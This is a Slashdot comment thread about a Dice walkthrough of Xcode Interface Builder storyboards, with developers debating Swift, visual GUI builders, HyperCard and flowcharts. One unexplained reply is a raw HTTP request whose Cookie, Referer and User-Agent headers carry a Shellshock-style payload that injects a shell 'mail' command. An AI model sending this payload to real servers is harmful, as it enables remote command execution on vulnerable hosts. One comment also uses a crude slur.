Building Apps In Swift With Storyboards

Nerval's Lobster writes Apple touts the Swift programming language as easy to use, thanks in large part to features such as Interface Builder, a visual designer provided in Xcode that allows a developer to visually design storyboards. In theory, this simplifies the process of designing both screens and the connections between screens, as it needs no code and offers an easy-to-read visual map of an app's navigation. But is Swift really so easy (or at least as easy as anything else in a developer's workflow)? This new walkthrough of Interface Builder (via Dice) shows that it's indeed simple to build an app with these custom tools... so long as the app itself is simple. Development novices who were hoping that Apple had created a way to build complex apps with a limited amount of actual coding might have to spend a bit more time learning the basics before embarking on the big project of their dreams.

Swift is MIA in TFA

[OzPeter]

Where in TFA is Swift actually used? All I see is a simple Interface Builder example which has nothing do with Swift.

Are we going to be continually with crappy iOS articles repeating the basics of UI development just because they have the word "Swift" in them or that they are Dice based??

And another crappy article .. with Swift

Crappy articles are crappy articles and articles like these are the reason that Netcraft confirms that /. is dying.

Re:

[Jeremiah Cornelius]

You know what's REALLY MIA?

HyperCard.

Where is HyperCard on the iPhone, updated for reality of mobile internet? If you want stickiness of an app platform "for the rest of us", this would be a natural. With a stack builder on the target device.

Re:Swift is MIA in TFA

[jandrese]

Hypercard is owned by a third party now [livecode.com], and they do offer phone targets for the stacks.

It's kind of a shame. Hypercard was incredibly close to being a modern web browser before web browsers were invented. All it needed was a way to remotely load pages from a stack over your Appletalk network. Javascript might never have been born since HyperTalk would already be doing the job. People would eventually have to address the grave security concerns, but in the early 90s nobody gave a crap about security on home networks. Of course being a Mac only product would also put a serious crimp in widespread adoption (especially since this is the era where Jobs is at Pixar and NeXT so Apple is floundering badly).

Re:

[K. S. Kyosuke]

Where is HyperCard on the iPhone, updated for reality of mobile internet?

It has reincarnated as DynaBook Jr. at VPRI. But you'll have to wait for it.

Re:

[Timothy Hartman]

This is the first Dice article I've seen linked and it did not disappoint when it came to disappointing. I think anyone who has looked at Mac OS X from even the most casual development end or UI customizing end already knows at least a little Interface Builder. I was using it in the first four releases of OS X to fix poorly designed interfaces just because as a graphic artist things like that drive you crazy and it is just as easy to edit the nibs than to explain to the devs.

You are absolutely right. This

Re:

[OzPeter]

This is the first Dice article I've seen linked and it did not disappoint when it came to disappointing.

There was another one last week that was an "introduction to programming in Swift" - which was neither.

Re:

[master_kaos]

I thought the same thing, I am going to have to keep a mental note

Re:

[Moridineas]

Are we going to be continually with crappy iOS articles repeating the basics of UI development just because they have the word "Swift" in them or that they are Dice based??

You definitely both hit the nail on the head and answered your own question. The last Dice article on Swift was one of the worst programming articles I've ever read. Thanks to you for mentioning that this is an another Dice article--I'll save myself a waste of time and NOT RTFA.

Re:

[jeremyp]

It's actually the second article in a series. The first article looks like it had some Swift in it.

No doubt there will be a new Slashdot story for each subsequent article. Because Swift.

Development novices who were hoping that Apple had created a way to build complex apps with a limited amount of actual coding might have to spend a bit more time learning the basics before embarking on the big project of their dreams.

Is anybody at all surprised except, maybe, said novices?

I WANT

[bondsbw]

I want to be able to code this to make a game:

int main(int argc, const char* argv[])
{
        CreateGameThatIsSortOfLikeAngryBirdsAndMakeMeMillionsOfDollarsOvernight();
}

Anything else is too hard.

Re:I WANT

[Anonymous Coward]

int main(int argc, const char* argv[])
{
        CreateGameThatIsSortOfLikeAngryBirdsAndMakeMeMillionsOfDollarsOvernight();
        return 0;
}

FTFY

Re:

[K. S. Kyosuke]

A wonderful example of how applications today get written in completely unsuitable languages. (Why not write it in something that can keep the non-derivable part of the application's state without explicit checkpoints woven throughout the whole thing?)

Re:

[Anonymous Coward]

Well, to be fair, he/she did admit anything else would be too hard.

Re:

[Anonymous Coward]

This is why Pascal's design in more forgiving than C/C#/Java because main() has no return type. Your app returns exit code 0 if no problem has occurred. If your program encounters an error, it can return the correct error code by using the Exit(errorcode) procedure.

Re:

[msobkow]

And if the details generated are:

int CreateGameThatIsSortOfLikeAngryBirdsAndMakeMeMillionsOfDollarsOvernight() { ... }

?

Re:

[msobkow]

Doh! I was thinking Erlang, where the result of the last statement in the code is the result returned to the caller. *LOL*

Re:

[Jeremiah Cornelius]

GET /cgi-bin/w3mman2html.cgi HTTP/1.1 Host: <domain> Cookie: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo; Referer: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo; User-Agent: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo;

Re:

[DoofusOfDeath]

Correction:

int main(int argc, const char* argv[])
{
    App * app = LoadFromYear( 1987, "HyperCard" );
    return app->run( argc, argv );
}

Re:

[msobkow]

This [userfriendly.org] is what you want. :P

Re:

[SB2020]

Surely by now we should have kinect based stuff to turn handwaving into working code?

Re:

[jeremyp]

This is Swift. You just need a file called main.swift with this in it:

CreateGameThatIsSortOfLikeAngryBirdsAndMakeMeMillionsOfDollarsOvernight()

See... Swift is so good it's reduced your code size by 80% (including the missing line to return 0).

Limited coding isn't everyone's goal

[TechyImmigrant]

Building complex apps without coding doesn't seem like a useful goal. At some point you have to express the program logic and coding has always proven to be the best way.

The dividing line between graphical tool and actual code seems to have been a shifting one over the years. So when you go to a new environment or language where there's a substantial GUI component to building an app, the desire to see it all in code is strong. What actually happens when you add that button? I expect to be able to do it either through code of GUI and if they can't tell me what the GUI did in code, then I'm left clueless as to the underpinnings and so it becomes hard to think through the implications of design decisions.

I tried Swift recently. Swift was easy enough. But Swift+Xcode was impenetrable.

Re:

[Anonymous Coward]

HTML5 is really the only language out there these days that is still used widely and geared towards human readable UI code so you can actually see the functional and visual elements in code easily.

I really wish one of the other languages geared towards building native applications took a similar approach. Having to learn each IDE's visual interface builder for each platform you may develop essentially the same application for is intolerable. The alternative being app builder kits from various other 3rd part

Re:

[Maxwell]

Building complex apps without coding doesn't seem like a useful goal. At some point you have to express the program logic and coding has always proven to be the best way.

The dividing line between graphical tool and actual code seems to have been a shifting one over the years. So when you go to a new environment or language where there's a substantial GUI component to building an app, the desire to see it all in code is strong. What actually happens when you add that button? I expect to be able to do it either through code of GUI and if they can't tell me what the GUI did in code, then I'm left clueless as to the underpinnings and so it becomes hard to think through the implications of design decisions.

I tried Swift recently. Swift was easy enough. But Swift+Xcode was impenetrable.

My micro processor prof insisted that C was an abomination and that code was easier to follow in native assembly. (Mostly Motorola, some TI)

There is a big chunk of people who have no desire to see the assembler, or the massively abstract C++ code that created it. Anyone who uses Access for example. I had a tool Palm Toolbox that made simple apps for PalmOS way back when. It was limiting, because I know better, but you could do a lot without ever looking at the real code.

Be prepared for multiple variations

Re:

[K. S. Kyosuke]

Has your micro processor prof heard of Forth? (Or was he actually a Forth chip guy? That would have been some twist! :-))

So Hypercard is coming back?

[AltGrendel]

That would be cool.

You say storyboards, I say flowcharts

[__aaclcg7560]

When I took Introduction to Computers in the early 1990's, the class had to draw flowchart diagrams to demonstrate our logic before we could program a DOS batch file. When I went back to school to learn computer programming in mid 2000's, all we needed was a napkin to write pseudocode before programming a web app. Kids today have it too easy.

Re:

[preaction]

I'm wondering if those flowcharts actually do help people learn basic program flow and basic boolean logic. After a while, you don't need them, because you can think like the machine. But, for getting started, it might be a good step and encourage thought before shotgun coding.

Flowcharts are documentation ...

[perpenso]

Flowcharts are documentation. And they can be pretty concise and more importantly visual.

The visualization aspect is sometimes important. It can literally be the big picture that helps one understand a process. Also visualization can help with debugging something missing at the design level.

Now I haven't used my plastic templates or some software package to generate flowcharts since undergrad days decades ago, but I still on occasion grab a yellow pad of paper and a pencil to informally (ok that was g

Re:

[__aaclcg7560]

I haven't done formal flowcharts in ages, but I probably have the plastic template from college stashed in a storage box somewhere. If I'm having trouble with a piece of code, I might make a diagram to visually walkthrough the code and figure out where I'm getting stuck.

Re:

[BasilBrush]

What flowcharts encourage is programming with gotos. They became outdated back in the days when structured programming came in. JSP became the thing. Then later various object diagrams being more or less standardised as UML.

The first job interview I had back in 1984 they asked me to draw a flowchart for a certain algorithm. I told them they were outdated and gave them a JSP diagram instead. And I got the job as a result. That's how out of data flowcharts are.

They are right to say storyboard ...

[perpenso]

"Storyboards" are Apple's name for a user interface layout tool, its not a logic flow tool so it is not really like flowcharts. A storyboard is basically a view pane where you layout the visual elements and controls, and define some constraints involved in repositioning and resizing for different resolutions. There is very limited flow control. Things like clicking on this button brings up a different storyboard.

In short storyboards let you mock up a user interface, including one view launching a different view. If you are nostalgic for the 90s think back to Microsoft's Visual Studio GUI layout and glue code generation tools. Its pretty much the same sort of stuff.

Re:

[i.r.id10t]

Ah, so it implements the one thing I really miss about using VB for quick utility programs - drag and drop your GUI design, create buttons, etc. and then only write code for the various events (like heyThisButtonGotClicked(), etc). After that Java seemed like it took pages of code just to draw a button on a field to click..

NOT like Microsoft's Visual Studio GUI layout and

[EMB Numbers]

Interface Builder has not changed in any fundamental ways since it debuted in 1988 with NeXTstep.
Unlike crappy Microsoft tools for the 90's, it is NOT a screen drawing tool. It is an object instantiation and configuration tool. You set the properties and relationships between live objects graphically. The objects are then archived (serialized) and later unarchived (deserialized) into your running iOS app.

Watch this from 1992 http://www.youtube.com/watch?v... [youtube.com]
Steve Jobs demonstrates Interface Builder starting

Re:

[EMB Numbers]

Another Steve Jobs Interface Builder demo from 1990 http://www.youtube.com/watch?v... [youtube.com]

Re:

[Bogtha]

Interface Builder has not changed in any fundamental ways since it debuted in 1988 with NeXTstep.

I'd say storyboards and auto layout are pretty big changes. Before storyboards, nibs were basically just view hierarchies and whichever other objects you threw in there. With storyboards, they can contain an entire application's user interface, including the transitions between different screens.

it is NOT a screen drawing tool. It is an object instantiation and configuration tool.

It's both. It's a s

The complexity has to go somewhere

[jandrese]

The dream of some fancy tool that builds a complex app for you (since you're an "ideas person", not a programmer) is always going to be a fantasy. The more work a tool does for you, the more specialized it has to be because there is only so much complexity a person can put into a project per hour they work on it. Either you supply that complexity, or the tool builder does, and there's an upper limit to how complex a tool can be before learning it harder than just learning a programming language and solving the problem yourself.

Someone has to do the work, and if you have grand visions the work will be hard.

Re:

[i kan reed]

Well, I've always had the dream of a tool that has a natural language dialog with the the user.

You know the kind that asks the niggling questions us devs always have for "ideas" people. Like "Who's going to provide the map data for your store layout application?" And "Can this field be blank if that one isn't?" Or "Okay, what do you mean by 'shiny animation' exactly?"

I suspect such a thing could be done with a team of 30 AI experts and a huge machinery budget, and careful observation of how actual softw

Re:

[jandrese]

And 30 years? AIs that can think through solutions and look for problems like that are very hard to make, especially in the general case. A lot of AI these days is still little more than massaged Google searches.

Re:

[BasilBrush]

Don't hold you breath. You can only ask those pertinent questions because you can imagine the app given a very incomplete outline. Artificial Imagination is even further away than Artificial Intelligence.

Re:

[i kan reed]

But how do I imagine them? It's not from nowhere. It's from a recurring familiarity with what goes wrong in software development. I didn't just get a programming language down and suddenly grasp the idea of field interdependency, did I? I mean, admittedly, it was before I got a job in the field, but the first time you try to save something where X interferes with Y and it crashes your program teaches you the concept.

Re:

[BasilBrush]

If it's as limited as questions for common defects in an existing app, that's not so hard. But a system that can actually create an app by asking questions is much harder - unless the possible kids of apps are very limited in scope, as with expert systems and the 3GL fad of the 1980s.

Re:The complexity has to go somewhere

[blue9steel]

The dream of some fancy tool that builds a complex app for you (since you're an "ideas person", not a programmer) is always going to be a fantasy.

Always is a long time. Try these statements on for size as a comparison:

"I also lay aside all ideas of any new works or engines of war, the invention of which long-ago reached its limit, and in which I see no hope for further improvement..." - Sextus Julius Frontinus 84 C.E.

"What can be more palpably absurd than the prospect held out of locomotives traveling twice as fast as stagecoaches?" - The Quarterly Review 1825

"The abolishment of pain in surgery is a chimera. It is absurd to go on seeking it... Knife and pain are two words in surgery that must forever be associated in the consciousness of the patient." - Dr. Alfred Velpeau 1839

"Heavier-than-air flying machines are impossible." -Lord Kelvin 1895

"There is not the slightest indication that nuclear energy will ever be obtainable. It would mean that the atom would have to be shattered at will." - Albert Einstein, 1932.

Consider if you will:

An assembler is a way of automatically creating machine code

A compiler is a way of automatically creating assembly code

A ______ is a way of automatically creating program code

Is there some reason we shouldn't expect the blank to be filled in and efforts to move up the stack yet again? As computers become more powerful we can afford ever more complex layers of abstraction.

Re:

[Half-pint HAL]

Indeed -- the complexity needs to go somewhere. The problem with all languages is that the complexity is in the learning and in the expressing, because they're all stuck in a paradigm rut built around a nonsensical definition of "human readable code". We need a computer to view our code. A plaintext editor is a computer program. A non-plaintext editor would make it more readable. Suddenly syntax highlighting would be part of the syntax, not something added on after the fact. The syntactic whitespace vs expl

More worrying implication of devaluation

[seoras]

When I started writing iOS Apps it was at the same time as Interface Builder was released.
As a beginner being able to visualise what was going on made the learning curve a walk up a hill instead of mountaineering.
Even though I've been doing it a while now I still use Storyboards but 50% of the time I find myself removing a view and codifying it.
As a design tool it is wonderful for prototyping.

There was a lot of resistance from the established iOS developers to IB when it first appeared.
I remember being scol

Re:

[blueshift_1]

As App development and programming becomes simpler and more dumbed down it has the effect of increasing the number of people who are capable of producing a non-complex App. That drives down the value of an App developer.

While I agree this is true on the surface, it'll only really effect the short term. It's basically the same as the dotcom bubble when anyone that could spell java could get a job... but all bubbles burst and the people with the depth of knowledge will last in positions.

Re:

[dgatwood]

When I started writing iOS Apps it was at the same time as Interface Builder was released.

Wow. You were writing iOS apps in the mid-1980s? Talk about being ahead of the curve. Do you mean when storyboards were released?

Re:

[EMB Numbers]

You are mistaken. Interface Builder ships with the original NeXT cube in 1988.

So let me get this straight

[Anonymous Coward]

It's simple to build an app as long as the app is simple?

Well holy **** what a revelation!

Buildings apps with _____ using _____

[ArhcAngel]

This sounds a lot like building apps with LabView using flowcharts. Or perhaps building apps in Visual Basic using widgets. Was there something revolutionary about SWIFT in this regard?

Re:

[EETech1]

We use Stateflow and Simulink to generate the software for ECUs

XCode aint there yet....

[FlyingGuy]

As someone who is a programmer, but had never had an Apple Desktop or Laptop until my wife and son got me one for Christmas this pas year I have to say X-Code needs more polish.

I say this because I was / Am a heavy user of Delphi ( Yup Object Pascal ). You might think OP is a toy but you could not be more wrong, but that is another argument. What I can say definitively is that Borland and now Embarcadero know how to do an IDE better then just about anything I have ever seen.

Apple needs to take a page out

As it should be...

[Ramley]

... at least IMO.

Background: I have been using XCode 6.6 (I think) for about a month now, as swift sounded intriguing. I wasn't a huge fan of obj-c, but I worked with it for a mobile app, so swift sounded like a potentially nice evolution...

One of the plus's of the IDE with Mac OS X is the ability to quickly assemble a UI. I would much prefer being able to work under the hood with the code for the rest of the app... it helps me understand the language, and how everything works together... as well as

AppWare 2.0

[Toby Otterburn]

What took the devs this long? I've been waiting for decades!!

Swift != Interface Builder

[maccodemonkey]

"But is Swift really so easy (or at least as easy as anything else in a developer's workflow)? This new walkthrough of Interface Builder (via Dice) shows that it's indeed simple to build an app with these custom tools... so long as the app itself is simple."

What? Seriously Slashdot, if you're going to have Apple articles, at least have submitters that have half a clue what they're talking about. "How good is Swift? Let's find out by using Interface Builder which is not Swift at all!"

Swift and Interface Buil

I'm sorry

[slashdice]

SlashDice manager here. I'd like to apologize for this shitty article. I thought we fired Nerval's Lobster but it turns he's the CEO's retarded kid or something. Apparently, he didn't use to hire him! Lesson learned! Dice: slightly better than hiring the CEO's retarded kid.